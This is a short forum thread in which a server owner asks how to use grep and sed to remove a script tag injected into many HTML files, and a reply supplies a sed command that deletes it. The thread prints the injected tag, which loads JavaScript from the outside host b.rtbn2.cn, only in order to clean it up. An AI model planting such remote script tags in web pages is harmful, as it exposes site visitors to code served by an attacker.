Help to remove script data from file using grep & sed
On one of my servers, it appears that a bunch of html files got the following code added to it...
Quote:
grep -lr -e 'apples' *.html | xargs sed -i 's/apples/oranges/g' I can get the grep portion to work... Code:
grep "<script src='http:\/\/b.rtbn2.cn\/E\/J.JS'[>][<]\/script[>]" * Any help would be appreciated... I will also make sure that the security right on that directory is changed - so this can't happen again. DJ |
Code:
sed "/rtbn2/ s|<script src='http://b.rtbn2.cn/E/J.JS'></script>||" filename I also added the /rtbn2/ address at the beginning, which, while not necessary, should make it a bit more efficient. Only lines containing that string will have the substitution command run on them. Also have a look at the -i option for editing the files in place, with optional backup creation. |
All times are GMT -5. The time now is 01:50 PM. |